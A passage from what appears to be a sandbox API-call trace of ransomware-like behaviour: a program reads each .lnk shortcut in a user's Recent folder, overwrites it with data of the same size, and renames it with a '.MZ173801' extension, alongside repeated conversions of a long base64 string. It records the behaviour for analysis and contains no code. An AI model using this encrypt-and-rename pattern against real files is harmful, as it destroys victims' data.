lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.457] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.460] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XM-FeXb2tPl1aiPGuzhK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xm-fexb2tpl1aipguzhk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.460] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x20eb, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x20eb, lpOverlapped=0x0) returned 1 [0122.461] CloseHandle (hObject=0x288) returned 1 [0122.461] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XM-FeXb2tPl1aiPGuzhK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xm-fexb2tpl1aipguzhk.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.463] WriteFile (in: hFile=0x288, lpBuffer=0x733ed0*, nNumberOfBytesToWrite=0x20eb, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x733ed0*, lpNumberOfBytesWritten=0x18f99c*=0x20eb, lpOverlapped=0x0) returned 1 [0122.464] CloseHandle (hObject=0x288) returned 1 [0122.466] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XM-FeXb2tPl1aiPGuzhK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xm-fexb2tpl1aipguzhk.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XM-FeXb2tPl1aiPGuzhK.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\xm-fexb2tpl1aipguzhk.lnk.mz173801")) returned 1 [0122.467] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4f0700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd4f0700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd4f0700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="y5eBohnxQAn_O2h.lnk", cAlternateFileName="Y5EBOH~1.LNK")) returned 1 [0122.467] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.467] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.467] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y5eBohnxQAn_O2h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\y5ebohnxqan_o2h.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd4f0700, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdd4f0700, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdd4f0700, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x25c)) returned 1 [0122.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.472] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y5eBohnxQAn_O2h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\y5ebohnxqan_o2h.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.472] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x25c, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x25c, lpOverlapped=0x0) returned 1 [0122.473] CloseHandle (hObject=0x288) returned 1 [0122.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y5eBohnxQAn_O2h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\y5ebohnxqan_o2h.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.475] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x25c, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x25c, lpOverlapped=0x0) returned 1 [0122.476] CloseHandle (hObject=0x288) returned 1 [0122.485] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y5eBohnxQAn_O2h.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\y5ebohnxqan_o2h.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\y5eBohnxQAn_O2h.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\y5ebohnxqan_o2h.lnk.mz173801")) returned 1 [0122.487] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19df, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="YAtfhQEWa9d9.lnk", cAlternateFileName="YATFHQ~1.LNK")) returned 1 [0122.487] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.487] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.487] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\YAtfhQEWa9d9.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\yatfhqewa9d9.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde9ea8e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xde9ea8e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xde9ea8e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x19df)) returned 1 [0122.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 